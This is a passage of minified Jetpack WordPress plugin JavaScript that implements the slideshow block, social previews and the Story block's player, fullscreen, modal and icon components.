swiper-wrapper"},a.map((e=>{let{alt:t,caption:n,id:r,url:a}=e;return(0,o.createElement)("li",{className:p()("wp-block-jetpack-slideshow_slide","swiper-slide",(0,i.isBlobURL)(a)&&"is-transient"),key:r||a},(0,o.createElement)("figure",null,(0,o.createElement)("img",{alt:t,className:`wp-block-jetpack-slideshow_image wp-image-${r}`,"data-id":r,src:a}),(0,i.isBlobURL)(a)&&(0,o.createElement)(l.Spinner,null),n&&(0,o.createElement)(s.RichText.Content,{className:"wp-block-jetpack-slideshow_caption gallery-caption",tagName:"figcaption",value:n})))}))),(0,o.createElement)("a",{className:"wp-block-jetpack-slideshow_button-prev swiper-button-prev swiper-button-white",ref:this.btnPrevRef,role:"button"}),(0,o.createElement)("a",{className:"wp-block-jetpack-slideshow_button-next swiper-button-next swiper-button-white",ref:this.btnNextRef,role:"button"}),(0,o.createElement)("a",{"aria-label":"Pause Slideshow",className:"wp-block-jetpack-slideshow_button-pause",role:"button"}),(0,o.createElement)("div",{className:"wp-block-jetpack-slideshow_pagination swiper-pagination swiper-pagination-white",ref:this.paginationRef})))}}a()(v,"defaultProps",{effect:"slide"}),t.Z=v},17766:function(e,t,n){"use strict";n.d(t,{$m:function(){return c},HV:function(){return u},UA:function(){return l},Wj:function(){return d}});var r=n(81975);const a=16/9,o=.8,i=600,s="wp-block-jetpack-slideshow_autoplay-paused";function l(e){c(e),u(e);document.querySelector("body").dispatchEvent(new Event("jetpack-lazy-images-load")),e.el.querySelector(".wp-block-jetpack-slideshow_button-pause").addEventListener("click",(function(){e.el&&(e.el.classList.contains(s)?(e.el.classList.remove(s),e.autoplay.start(),this.setAttribute("aria-label","Pause Slideshow")):(e.el.classList.add(s),e.autoplay.stop(),this.setAttribute("aria-label","Play Slideshow")))}))}function c(e){if(!e||!e.el)return;const t=e.el.querySelector('.swiper-slide[data-swiper-slide-index="0"] img');if(!t)return;const n=t.clientWidth/t.clientHeight,r=Math.max(Math.min(n,a),1),s="undefined"!=typeof window?window.innerHeight*o:i,l=Math.min(e.width/r,s),c=`${Math.floor(l)}px`,u=`${Math.floor(l/2)}px`;e.el.classList.add("wp-swiper-initialized"),e.wrapperEl.style.height=c,e.el.querySelector(".wp-block-jetpack-slideshow_button-prev").style.top=u,e.el.querySelector(".wp-block-jetpack-slideshow_button-next").style.top=u}function u(e){(e.slides||[]).forEach(((t,n)=>{t.setAttribute("aria-hidden",n===e.activeIndex?"false":"true"),n===e.activeIndex?t.setAttribute("tabindex","-1"):t.removeAttribute("tabindex")})),function(e){const t=e.slides[e.activeIndex];if(!t)return;const n=t.getElementsByTagName("FIGCAPTION")[0],a=t.getElementsByTagName("IMG")[0];e.a11y.liveRegion&&(e.a11y.liveRegion[0].innerHTML=n?n.innerHTML:(0,r.escapeHTML)(a.alt))}(e)}function d(e){(e.pagination.bullets||[]).forEach((t=>{t.addEventListener("click",(()=>{const t=e.slides[e.realIndex];setTimeout((()=>{t.focus()}),500)}))}))}},81504:function(e,t,n){"use strict";var r=n(4981),a=n(92819);function o(e){return(0,a.filter)(e,(e=>{let{id:t,url:n}=e;return t&&n}))}const i={from:[{type:"block",isMultiBlock:!0,blocks:["core/image"],isMatch:e=>o(e).length>0,transform:e=>{const t=o(e);return(0,r.createBlock)("jetpack/slideshow",{images:t.map((e=>{let{alt:t,caption:n,id:r,url:a}=e;return{alt:t,caption:n,id:r,url:a}})),ids:t.map((e=>{let{id:t}=e;return t}))})}},{type:"block",blocks:["core/gallery","jetpack/tiled-gallery"],transform:e=>{let{images:t}=e;const n=o(t);return n.length>0?(0,r.createBlock)("jetpack/slideshow",{images:n.map((e=>{let{alt:t,caption:n,id:r,url:a}=e;return{alt:t,caption:n,id:r,url:a}})),ids:n.map((e=>{let{id:t}=e;return t}))}):(0,r.createBlock)("jetpack/slideshow")}}],to:[{type:"block",blocks:["core/gallery"],transform:e=>{let{images:t,ids:n}=e;return(0,r.createBlock)("core/gallery",{images:t,ids:n})}},{type:"block",blocks:["core/image"],transform:e=>{let{images:t}=e;return t.length>0?t.map((e=>{let{id:t,url:n,alt:a,caption:o}=e;return(0,r.createBlock)("core/image",{id:t,url:n,alt:a,caption:o})})):(0,r.createBlock)("core/image")}}]};t.Z=i},91403:function(e,t,n){"use strict";var r=n(13419),a=n(32078);(0,r.o_)(a.u2,a.Xd)},32078:function(e,t,n){"use strict";n.d(t,{Xd:function(){return p},u2:function(){return d}});var r=n(51806),a=n(78868),o=n(74356),i=n(55609),s=n(72067),l=n(69307),c=n(65736),u=n(34613);const __=c.__,d="social-previews",p={render:()=>(0,r.createElement)(m,null)},m=function(){const[e,t]=(0,l.useState)(!1);return(0,r.createElement)(r.Fragment,null,e&&(0,r.createElement)(o.pD,{onClose:()=>t(!1)}),(0,r.createElement)(u.Z,null,(0,r.createElement)(i.PanelBody,{title:__("Social Previews","jetpack"),initialOpen:!1},(0,r.createElement)(o.mJ,{openModal:()=>t(!0)}))),(0,r.createElement)(s.PluginPrePublishPanel,{title:__("Social Previews","jetpack"),icon:(0,r.createElement)(a.Z,{showText:!1,height:16,logoColor:"#1E1E1E"}),initialOpen:!1},(0,r.createElement)(o.mJ,{openModal:()=>t(!0)})))}},65492:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(55609),i=n(69307),s=n(65736),l=n(94545);const __=s.__;t.Z=e=>{let{allowedMediaTypes:t,attributes:{mediaFiles:n},onSelectMedia:s}=e;return(0,r.createElement)(i.Fragment,null,(0,r.createElement)(a.BlockControls,null,!!n.length&&(0,r.createElement)(o.ToolbarGroup,null,(0,r.createElement)(o.ToolbarItem,null,(()=>(0,r.createElement)(a.MediaUpload,{title:__("Edit Story","jetpack"),onSelect:s,allowedTypes:t,addToGallery:!0,multiple:"add",value:n.map((e=>e.id)),render:e=>{let{open:t}=e;return(0,r.createElement)(l.Z,{label:__("Edit Story","jetpack"),onClick:t})}}))))))}},19693:function(e,t,n){"use strict";var r=n(51806),a=n(11313),o=n(52175),i=n(55609),s=n(9818),l=n(69307),c=n(65736),u=n(65235),d=n.n(u),p=n(92819),m=n(65492),h=n(73022),f=n(93688);const __=c.__,g=["image","video"],b=e=>{const t=(0,p.pick)(e,["alt","title","id","link","type","mime","caption","width","height"]);return t.url=(0,p.get)(e,["media_details","original","url"])||(0,p.get)(e,["media_details","videopress","original"])||(0,p.get)(e,["media_details","sizes","large","source_url"])||(0,p.get)(e,["sizes","large","url"])||e.url,t.type=e.media_type||e.type,t.mime=e.mime_type||e.mime,t.title=t.title?.rendered||t.title,t.width=t.width||e.media_details?.width,t.height=t.height||e.media_details?.height,t};t.Z=(0,i.withNotices)((function(e){let{attributes:t,className:n,isSelected:i,noticeOperations:c,noticeUI:u,setAttributes:p}=e;const{mediaFiles:v}=t,{lockPostSaving:k,unlockPostSaving:y}=(0,s.useDispatch)("core/editor"),E="storyBlockLock",w=e=>{const t=e.map((e=>{if(!isNaN(e)){return v.find((t=>t.id===e))||{id:e}}return e})).map(b),n=t.filter((e=>!(0,a.isBlobURL)(e.url)));t.length!==n.length?k(E):y(E),p({mediaFiles:t})},_=(0,r.createElement)(m.Z,{allowedMediaTypes:g,attributes:t,onSelectMedia:w}),C=!!v.length,S=(0,r.createElement)(o.MediaPlaceholder,{addToGallery:C,isAppender:C,className:n,disableMediaButtons:C&&!i,icon:!C&&f.qv,labels:{title:!C&&__("Story","jetpack"),instructions:!C&&__("Drag images and videos, upload new ones, or select files from your library.","jetpack")},onSelect:w,accept:g.map((e=>e+"/*")).join(","),allowedTypes:g,multiple:"add",value:v,notices:C?void 0:u,onError:c.createErrorNotice});return C?(0,r.createElement)(l.Fragment,null,_,u,(0,r.createElement)("div",{className:d()("wp-block-jetpack-story","wp-story",n)},(0,r.createElement)(h.Z,{slides:v,disabled:!i,showSlideCount:i,shadowDOM:{enabled:!1},playInFullscreen:!1,tapToPlayPause:!1,playOnNextSlide:!1})),i&&S):(0,r.createElement)(l.Fragment,null,_,S)}))},88067:function(e,t,n){"use strict";var r=n(31985),a=n(93688);(0,r.Z)(a.u2,a.Xd)},66512:function(e,t,n){"use strict";var r=n(51806),a=n(70444);const o=(0,n(36598).Z)((0,r.createElement)(a.G,null,(0,r.createElement)(a.Path,{d:"M17 5a2 2 0 0 1 2 2v13a2 2 0 0 1-2 2h-7a2 2 0 0 1-2-2h9z"}),(0,r.createElement)(a.Path,{d:"M13 4H5a2 2 0 0 1 2-2h6a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2z"}),(0,r.createElement)(a.Path,{d:"M7 16h8a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2z"})));t.Z=o},93688:function(e,t,n){"use strict";n.d(t,{Xd:function(){return p},qv:function(){return s.Z},u2:function(){return d}});var r=n(65736),a=n(70355),o=n(5820),i=n(19693),s=n(66512),l=n(29143),c=n(15915);const __=r.__,_x=r._x,u={mediaFiles:[{alt:"",caption:"",mime:"image/jpg",type:"image",id:22,url:c}]},d="story",p={title:__("Story","jetpack"),category:(0,o.Z)("media","layout"),keywords:[_x("story","block search term","jetpack"),_x("image","block search term","jetpack"),_x("video","block search term","jetpack"),_x("gallery","block search term","jetpack")],description:__("Add an interactive story.","jetpack"),attributes:{settings:{type:"object"},mediaFiles:{type:"array",default:[]}},supports:{html:!1},icon:{src:s.Z,foreground:(0,a.m)()},edit:i.Z,save:l.Z,example:{attributes:u}}},19395:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(51806),a=n(70444);function o(e){let{currentMedia:t}=e;const n=t&&"image"===t.type?t.url:null;return(0,r.createElement)("div",{className:"wp-story-background"},(0,r.createElement)("div",{className:"wp-story-background-image",style:{backgroundImage:n?`url("${n}")`:"none"}}),(0,r.createElement)("div",{className:"wp-story-background-blur"}),(0,r.createElement)(a.SVG,{version:"1.1",xmlns:"http://www.w3.org/2000/svg",width:"0",height:"0"},(0,r.createElement)("filter",{id:"gaussian-blur-18"},(0,r.createElement)("feGaussianBlur",{stdDeviation:"18"}))))}},94754:function(e,t,n){"use strict";n.d(t,{Z:function(){return s}});var r=n(51806),a=n(65736),o=n(65235),i=n.n(o);const __=a.__;function s(e){let{isEllipsis:t,disabled:n,index:o,isSelected:s,progress:l,onClick:c}=e;const u=n||t;let d=null;return t||(d=s?(0,a.sprintf)(/* translators: %d: Slide number. */
__("Slide %d, currently selected","jetpack"),o+1):(0,a.sprintf)(/* translators: %d: Slide number. */
__("Go to slide %d","jetpack"),o+1)),(0,r.createElement)("button",{role:u?"presentation":"tab",key:o,className:i()("wp-story-pagination-bullet",{"wp-story-pagination-ellipsis":t}),"aria-label":d,"aria-disabled":u||s,onClick:u||s?void 0:c,disabled:u},(0,r.createElement)("div",{className:"wp-story-pagination-bullet-bar"},(0,r.createElement)("div",{className:"wp-story-pagination-bullet-bar-progress",style:{width:`${l}%`}})))}},44689:function(e,t,n){"use strict";n.d(t,{b:function(){return l},r:function(){return c}});var r=n(82674),a=n.n(r),o=n(51806),i=n(65235),s=n.n(i);const l=e=>{let{className:t,size:n,label:r,isPressed:i,...l}=e;return(0,o.createElement)("button",a()({type:"button","aria-label":r,"aria-pressed":i,className:s()("jetpack-mdc-icon-button","circle-icon","outlined","bordered",t),style:{width:`${n}px`,height:`${n}px`}},l))},c=e=>{let{className:t,size:n=24,label:r,isPressed:i,...l}=e;return(0,o.createElement)("button",a()({type:"button","aria-label":r,"aria-pressed":i,className:s()("jetpack-mdc-icon-button",t),style:{width:`${n}px`,height:`${n}px`}},l))}},51543:function(e,t,n){"use strict";var r=n(51806);t.Z=()=>(0,r.createElement)("div",{className:"wp-story-loading-spinner"},(0,r.createElement)("div",{className:"wp-story-loading-spinner__outer"},(0,r.createElement)("div",{className:"wp-story-loading-spinner__inner"})))},85584:function(e,t,n){"use strict";n.d(t,{Z:function(){return s}});var r=n(51806),a=n(65736),o=n(44689),i=n(89620);const _x=a._x;function s(e){let{playing:t,muted:n,onPlayPressed:a,onMutePressed:s,showMute:l}=e;return(0,r.createElement)("div",{className:"wp-story-controls"},(0,r.createElement)(o.r,{isPressed:t,label:t?_x("pause","Button tooltip text","jetpack"):_x("play","Button tooltip text","jetpack",0),onClick:a},t?(0,r.createElement)(i.fp,null):(0,r.createElement)(i.o1,null)),l&&(0,r.createElement)(o.r,{isPressed:n,label:n?_x("unmute","Button tooltip text","jetpack"):_x("mute","Button tooltip text","jetpack",0),onClick:s},n?(0,r.createElement)(i.xb,null):(0,r.createElement)(i.MC,null)))}},14904:function(e,t,n){"use strict";n.d(t,{Z:function(){return s}});var r=n(51806),a=n(65736),o=n(44689),i=n(89620);const __=a.__;function s(e){let{fullscreen:t,onExitFullscreen:n,siteIconUrl:a,storyTitle:s}=e;return t?(0,r.createElement)("div",{className:"wp-story-meta"},(0,r.createElement)("div",{className:"wp-story-icon"},(0,r.createElement)("img",{alt:__("Site icon","jetpack"),src:a,width:"40",height:"40"})),(0,r.createElement)("div",null,(0,r.createElement)("div",{className:"wp-story-title"},s)),(0,r.createElement)(o.r,{className:"wp-story-exit-fullscreen",label:__("Exit Fullscreen","jetpack"),onClick:n},(0,r.createElement)(i.Tw,null))):null}},89620:function(e,t,n){"use strict";n.d(t,{JM:function(){return p},MC:function(){return u},Tw:function(){return c},Vq:function(){return m},fp:function(){return l},o1:function(){return s},xb:function(){return d}});var r=n(51806),a=n(70444),o=n(36598);const i=e=>{let{children:t,size:n}=e;return(0,o.Z)(t,n,n)},s=e=>{let{size:t}=e;return(0,r.createElement)(i,{size:t},(0,r.createElement)(a.Path,{d:"M8 5v14l11-7z"}))},l=e=>{let{size:t}=e;return(0,r.createElement)(i,{size:t},(0,r.createElement)(a.Path,{d:"M6 19h4V5H6v14zm8-14v14h4V5h-4z"}))},c=e=>{let{size:t}=e;return(0,r.createElement)(i,{size:t},(0,r.createElement)(a.Path,{d:"M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"}))},u=e=>{let{size:t}=e;return(0,r.createElement)(i,{size:t},(0,r.createElement)(a.Path,{d:"M3 9v6h4l5 5V4L7 9H3zm13.5 3c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 2.5-2.25 2.5-4.02zM14 3.23v2.06c2.89.86 5 3.54 5 6.71s-2.11 5.85-5 6.71v2.06c4.01-.91 7-4.49 7-8.77s-2.99-7.86-7-8.77z"}))},d=e=>{let{size:t}=e;return(0,r.createElement)(i,{size:t},(0,r.createElement)(a.Path,{d:"M16.5 12c0-1.77-1.02-3.29-2.5-4.03v2.21l2.45 2.45c.03-.2.05-.41.05-.63zm2.5 0c0 .94-.2 1.82-.54 2.64l1.51 1.51C20.63 14.91 21 13.5 21 12c0-4.28-2.99-7.86-7-8.77v2.06c2.89.86 5 3.54 5 6.71zM4.27 3L3 4.27 7.73 9H3v6h4l5 5v-6.73l4.25 4.25c-.67.52-1.42.93-2.25 1.18v2.06c1.38-.31 2.63-.95 3.69-1.81L19.73 21 21 19.73l-9-9L4.27 3zM12 4L9.91 6.09 12 8.18V4z"}))},p=e=>{let{size:t}=e;return(0,r.createElement)(i,{size:t},(0,r.createElement)(a.Path,{d:"M15.41 7.41L14 6l-6 6 6 6 1.41-1.41L10.83 12z"}))},m=e=>{let{size:t}=e;return(0,r.createElement)(i,{size:t},(0,r.createElement)(a.Path,{d:"M10 6L8.59 7.41 13.17 12l-4.58 4.59L10 18l6-6z"}))}},69835:function(e,t,n){"use strict";n.d(t,{Aq:function(){return s.Z},WB:function(){return l.Z},ZX:function(){return a.Z},aV:function(){return i.Z},gT:function(){return r.Z},h4:function(){return o.Z},pU:function(){return c.pU}});var r=n(94754),a=n(85584),o=n(14904),i=n(74629),s=n(19395),l=n(51543),c=n(41126);n(44689)},41126:function(e,t,n){"use strict";n.d(t,{pU:function(){return u}});var r=n(82674),a=n.n(r),o=n(51806),i=n(65235),s=n.n(i);const l=e=>{let{title:t,alt:n,className:r,id:a,mediaRef:i,mime:l,sizes:c,srcset:u,url:d}=e;return(0,o.createElement)("img",{ref:i,"data-id":a,"data-mime":l,title:t,alt:n,src:d,className:s()("wp-story-image",`wp-image-${a}`,r),srcSet:u,sizes:c})},c=e=>{let{title:t,className:n,id:r,mediaRef:a,mime:i,url:l,poster:c}=e;return(0,o.createElement)("video",{className:s()("wp-story-video","intrinsic-ignore",`wp-video-${r}`,n),ref:a,"data-id":r,title:t,type:i,src:l,poster:c,tabIndex:-1,preload:"auto",playsInline:!0})},u=e=>{let{targetAspectRatio:t,cropUpTo:n,type:r,width:i,height:s,...u}=e,d=null;if(i&&s){const e=i/s;if(e>=t){e>t/(1-n)||(d="wp-story-crop-wide")}else{e<t*(1-n)||(d="wp-story-crop-narrow")}}const p="video"===r||(u.mime||"").startsWith("video/");return(0,o.createElement)("figure",null,p?(0,o.createElement)(c,a()({},u,{className:d})):(0,o.createElement)(l,a()({},u,{className:d})))}},74629:function(e,t,n){"use strict";n.d(t,{Z:function(){return c}});var r=n(51806),a=n(69307),o=n(65736),i=n(99891),s=n(44689),l=n(89620);const __=o.__;function c(e){let{ended:t,hasPrevious:n,onNextSlide:c,onPreviousSlide:u,icon:d,slideCount:p,showSlideCount:m}=e;const h=(0,a.useCallback)((e=>{t||(e.stopPropagation(),u())}),[u,t]),f=(0,a.useCallback)((e=>{t||(e.stopPropagation(),c())}),[c,t]);return(0,r.createElement)("div",{className:"wp-story-overlay"},m&&(0,r.createElement)("div",{className:"wp-story-embed-icon"},d,(0,r.createElement)("span",null,p)),!m&&(0,r.createElement)("div",{className:"wp-story-embed-icon-expand"},(0,r.createElement)(i.Z,{role:"img"})),n&&(0,r.createElement)("div",{className:"wp-story-prev-slide",onClick:h},(0,r.createElement)(s.b,{size:44,label:__("Previous Slide","jetpack"),className:"outlined-w"},(0,o.isRTL)()?(0,r.createElement)(l.Vq,{size:24}):(0,r.createElement)(l.JM,{size:24}))),(0,r.createElement)("div",{className:"wp-story-next-slide",onClick:f},(0,r.createElement)(s.b,{size:44,label:__("Next Slide","jetpack"),className:"outlined-w"},(0,o.isRTL)()?(0,r.createElement)(l.JM,{size:24}):(0,r.createElement)(l.Vq,{size:24}))))}},93340:function(e,t,n){"use strict";n.d(t,{Z:function(){return d}});var r=n(51806),a=n(69307),o=n(65235),i=n.n(o),s=n(47591),l=n(74240),c=n(7449);const u=/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(window.navigator.userAgent);function d(e){let{className:t,fullscreenClassName:n,bodyFullscreenClassName:o,fullscreen:d,shadowDOM:p,onKeyDown:m,onExitFullscreen:h,playerQuerySelector:f,children:g}=e;const b=(0,a.useRef)(),v=(0,a.useRef)(),[k,y]=(0,a.useState)(null),E=u&&s.am(),w=d&&!E,_=d&&E;return(0,a.useLayoutEffect)((()=>{if(E)d?b.current&&s.uP(b.current,h):s.bG()&&s.JF();else if(d){if(y([document.documentElement.scrollLeft,document.documentElement.scrollTop]),document.body.classList.add(o),document.getElementsByTagName("html")[0].classList.add(o),v.current){const e=v.current.querySelector(f);e&&e.focus()}}else if(document.body.classList.remove(o),document.getElementsByTagName("html")[0].classList.remove(o),k){window.scrollTo(...k);const e=b.current.querySelector(f);e&&e.focus()}}),[d]),(0,r.createElement)(r.Fragment,null,(0,r.createElement)(l.Z,p,(0,r.createElement)("div",{ref:b,className:i()(t,{[n]:_}),onKeyDown:m},!w&&g)),(0,r.createElement)(c.Z,{className:i()(t,{[n]:w}),isOpened:w,onRequestClose:h,shadowDOM:p,onKeyDown:w&&m,focusOnMount:!1,modalRef:v},w&&g))}},73022:function(e,t,n){"use strict";n.d(t,{Z:function(){return c}});var r=n(51806),a=n(9818),o=n(69307),i=n(39630),s=n(93340),l=n(75096);n(31179);function c(e){let{id:t,slides:n,metadata:c,disabled:u,...d}=e;const p=(0,o.useMemo)((()=>t||Math.random().toString(36)),[t]),{init:m,setEnded:h,setPlaying:f,setFullscreen:g,showSlide:b}=(0,a.useDispatch)("jetpack/story/player"),{playing:v,currentSlideIndex:k,fullscreen:y,isReady:E,playerSettings:w}=(0,a.useSelect)((e=>{const{getCurrentSlideIndex:t,getSettings:n,isFullscreen:r,isPlayerReady:a,isPlaying:o}=e("jetpack/story/player");return a(p)?{playing:o(p),currentSlideIndex:t(p),isReady:!0,fullscreen:r(p),playerSettings:n(p)}:{isReady:!1}}),[p]);(0,o.useEffect)((()=>{E||m(p,{slideCount:n.length,...d})}),[E,p]);const _=(0,o.useCallback)((e=>{switch(e.keyCode){case i.ENTER:if(y)break;case i.SPACE:f(p,!v);break;case i.LEFT:k>0&&b(p,k-1);break;case i.RIGHT:k<n.length-1?b(p,k+1):h(p)}}),[p,k,y,v]),C=(0,o.useCallback)((()=>{g(p,!1)}),[p]);return E?(0,r.createElement)(s.Z,{shadowDOM:w.shadowDOM,className:"wp-story-app",fullscreenClassName:"wp-story-fullscreen",bodyFullscreenClassName:"wp-story-in-fullscreen",playerQuerySelector:".wp-story-container",fullscreen:y,onExitFullscreen:C,onKeyDown:_},(0,r.createElement)(l.Z,{id:p,slides:n,metadata:c,disabled:u})):null}},47591:function(e,t,n){"use strict";n.d(t,{JF:function(){return i},am:function(){return r},bG:function(){return a},uP:function(){return o}});const r=()=>document.fullscreenEnabled||document.webkitFullscreenEnabled||document.mozFullScreenEnabled||document.msFullscreenEnabled,a=()=>document.fullscreenElement||document.webkitFullscreenElement||document.mozFullScreenElement||document.msFullScreenElement,o=(e,t)=>{if((e.requestFullscreen||e.webkitRequestFullScreen||e.mozRequestFullScreen||e.msRequestFullscreen).call(e),t){const e=()=>{document.fullscreenElement||(document.removeEventListener("fullscreenchange",e),t())};document.addEventListener("fullscreenchange",e)}},i=()=>(document.exitFullscreen||document.webkitExitFullscreen||document.mozCancelFullScreen||document.msExitFullscreen).call(document)},74240:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(51806),a=n(69307);const o=window&&window.Element&&window.Element.prototype.hasOwnProperty("attachShadow");function i(e){let{enabled:t,delegatesFocus:n=!1,mode:i="open",globalStyleElements:l=[],adoptedStyleSheets:c=null,mountOnElement:u=null,children:d}=e;const[p,m]=(0,a.useState)(null),h=u||p,[f,g]=(0,a.useState)(null),b="string"==typeof l?[...document.querySelectorAll(l)]:l,v=o&&t&&b.length>0,k=(0,a.useCallback)((e=>{null!==e&&m(e.parentNode)}),[]);if((0,a.useEffect)((()=>{if(!h)return;if(h.shadowRoot)return void g(h.shadowRoot);const e=h.attachShadow({delegatesFocus:n,mode:i});c&&(e.adoptedStyleSheets=c),g(e)}),[h]),v&&!f)return u?null:(0,r.createElement)("span",{ref:k});const y=(0,r.createElement)(r.Fragment,null,v&&(0,r.createElement)(s,{globalStyleElements:b}),d);return v?(0,a.createPortal)(y,f):y}function s(e){let{globalStyleElements:t}=e;return(0,r.createElement)(r.Fragment,null,t.map(((e,t)=>{let{id:n,tagName:a,attributes:o,innerHTML:i}=e;return"LINK"===a?(0,r.createElement)("link",{key:n||t,id:n,rel:o.rel.value,href:o.href.value}):"STYLE"===a?(0,r.createElement)("style",{key:n||t,id:n},i):void 0})))}},64930:function(e,t,n){"use strict";var r=n(69307);t.Z=e=>{const t=(0,r.useRef)(),n=(0,r.useRef)(),a=(0,r.useRef)(e),o=(0,r.useCallback)((e=>{e.touches&&1===e.touches.length&&e.preventDefault()}),[]);return(0,r.useEffect)((()=>{a.current=e}),[e]),{onTouchStart:(0,r.useCallback)((e=>{e.target&&(e.target.addEventListener("touchend",o,{passive:!1}),n.current=e.target),t.current=setTimeout((()=>{a.current&&a.current(!0),t.current=null}),200)}),[]),onTouchEnd:(0,r.useCallback)((e=>{t.current?clearTimeout(t.current):(a.current&&a.current(!1),e.stopPropagation()),n.current&&n.current.removeEventListener("touchend",o)}),[])}}},3065:function(e,t,n){"use strict";async function r(e){const t=e.tagName.toLowerCase();if("img"===t){if(e.complete)return;await new Promise((t=>{e.addEventListener("load",t,{once:!0})}))}else if("video"===t||"audio"===t){if(e.HAVE_ENOUGH_DATA===e.readyState)return;await new Promise((t=>{e.addEventListener("canplaythrough",t,{once:!0}),e.addEventListener("load",t,{once:!0}),e.HAVE_NOTHING===e.readyState&&e.networkState!==e.NETWORK_LOADING&&e.load()}))}}n.d(t,{Z:function(){return r}})},89082:function(e,t,n){"use strict";n.d(t,{BM:function(){return s},i1:function(){return l}});var r=n(92819);const a=new Set(["alert","status","log","marquee","timer"]);let o=[],i=!1;function s(e){if(i)return;const t=document.body.children;(0,r.forEach)(t,(t=>{t!==e&&function(e){const t=e.getAttribute("role");return!("SCRIPT"===e.tagName||e.hasAttribute("aria-hidden")||e.hasAttribute("aria-live")||a.has(t))}(t)&&(t.setAttribute("aria-hidden","true"),o.push(t))})),i=!0}function l(){i&&((0,r.forEach)(o,(e=>{e.removeAttribute("aria-hidden")})),o=[],i=!1)}},43520:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(51806),a=n(94333),o=n(39630);function i(e){let{overlayClassName:t,children:n,className:i,focusOnMount:s,shouldCloseOnEsc:l=!0,onRequestClose:c,onKeyDown:u,modalRef:d}=e;const p=(0,a.useFocusOnMount)(s),m=(0,a.useConstrainedTabbing)(),h=(0,a.useFocusReturn)();return(0,r.createElement)("div",{className:t,onKeyDown:function(e){l&&e.keyCode===o.ESCAPE&&(e.stopPropagation(),c&&c(e)),e.target&&"button"===e.target.tagName.toLowerCase()&&e.keyCode===o.SPACE||u&&u(e)}},(0,r.createElement)("div",{className:i,ref:(0,a.useMergeRefs)([m,h,p,d])},n))}},7449:function(e,t,n){"use strict";var r=n(82674),a=n.n(r),o=n(51806),i=n(94333),s=n(69307),l=n(74240),c=n(89082),u=n(43520);let d,p=0;const m=()=>{};class h extends s.Component{constructor(e){super(e),this.prepareDOM()}componentDidMount(){p++,1===p&&this.openFirstModal()}componentWillUnmount(){p--,0===p&&this.closeLastModal(),this.cleanDOM()}prepareDOM(){d||(d=document.createElement("div"),document.body.appendChild(d)),this.node=document.createElement("div"),d.appendChild(this.node),this.node.ontouchstart=m,this.node.ontouchend=m}cleanDOM(){d.removeChild(this.node)}openFirstModal(){c.BM(d)}closeLastModal(){c.i1()}render(){const{children:e,isOpened:t,shadowDOM:n,...r}=this.props;return(0,o.createElement)(l.Z,a()({},n,{mountOnElement:this.node}),t&&(0,o.createElement)(u.Z,r,e))}}h.defaultProps={shouldCloseOnEsc:!0,isOpened:!1,focusOnMount:!0},t.Z=(0,i.withInstanceId)(h)},75096:function(e,t,n){"use strict";n.d(t,{Z:function(){return k}});var r=n(82674),a=n.n(r),o=n(51806),i=n(11313),s=n(94333),l=n(9818),c=n(69307),u=n(65736),d=n(65235),p=n.n(d),m=n(92819),h=n(66512),f=n(69835),g=n(64930),b=n(68440),v=n(63408);const __=u.__;function k(e){let{id:t,slides:n,metadata:r,disabled:u}=e;const{setFullscreen:d,setEnded:k,setPlaying:y,setMuted:E,showSlide:w}=(0,l.useDispatch)("jetpack/story/player"),{playing:_,muted:C,currentSlideIndex:S,currentSlideEnded:j,ended:x,fullscreen:P,settings:L}=(0,l.useSelect)((e=>{const{getCurrentSlideIndex:n,getSettings:r,hasCurrentSlideEnded:a,hasEnded:o,isFullscreen:i,isMuted:s,isPlaying:l}=e("jetpack/story/player");return{playing:l(t),muted:s(t),currentSlideIndex:n(t),currentSlideEnded:a(t),ended:o(t),fullscreen:i(t),settings:r(t)}}),[t]),T=(0,c.useRef)(),[N,A]=(0,c.useState)(null),[R,{width:I,height:M}]=(0,s.useResizeObserver)(),[B,Z]=(0,c.useState)(L.defaultAspectRatio),F=(0,m.some)(n,(e=>(0,i.isBlobURL)(e.url))),D=e=>{w(t,e)},O=(0,c.useCallback)((()=>{u||P||L.playInFullscreen&&!_&&y(t,!0)}),[_,u,P]),{onTouchStart:z,onTouchEnd:U}=(0,g.Z)((e=>{y(t,!e)}),[]),$=(0,c.useCallback)((()=>{S>0&&D(S-1)}),[S]),H=(0,c.useCallback)((()=>{S<n.length-1?D(S+1):k(t)}),[S,n]),V=(0,c.useCallback)((()=>{d(t,!1)}),[]);let G,q;return(0,c.useEffect)((()=>{u&&_&&y(t,!1)}),[u,_]),(0,c.useEffect)((()=>{_&&j&&H()}),[_,j]),(0,c.useLayoutEffect)((()=>{if(!T.current)return;let e=Math.round(L.defaultAspectRatio*T.current.offsetHeight);P&&(e=Math.abs(1-e/I)<L.cropUpTo?I:e),A(e)}),[I,M,P]),(0,c.useLayoutEffect)((()=>{N&&T.current&&T.current.offsetHeight>0&&Z(N/T.current.offsetHeight)}),[N]),G=P?[__("You are currently playing a story.","jetpack"),_?__("Press space to pause.","jetpack"):__("Press space to play.","jetpack",0),__("Press escape to exit.","jetpack")].join(" "):__("Play story","jetpack"),q=u?"presentation":P?"dialog":"button",(0,o.createElement)("div",{className:"wp-story-display-contents"},R,(0,o.createElement)("div",{role:q,"aria-label":G,tabIndex:P?-1:0,className:p()("wp-story-container",{"wp-story-with-controls":!u&&!P&&!L.playInFullscreen,"wp-story-fullscreen":P,"wp-story-ended":x,"wp-story-disabled":u,"wp-story-clickable":!u&&!P}),style:{maxWidth:`${N}px`},onClick:O,onTouchStart:z,onTouchEnd:U},(0,o.createElement)(f.h4,a()({},r,{fullscreen:P,onExitFullscreen:V})),(0,o.createElement)("div",{ref:T,className:"wp-story-wrapper"},n.map(((e,n)=>(0,o.createElement)(v.Z,{playerId:t,key:n,media:e,index:n,playing:!u&&_,uploading:F,settings:L,targetAspectRatio:B})))),(0,o.createElement)(f.aV,{icon:h.Z,slideCount:n.length,showSlideCount:L.showSlideCount,ended:x,hasPrevious:S>0,onPreviousSlide:$,onNextSlide:H}),L.showProgressBar&&(0,o.createElemen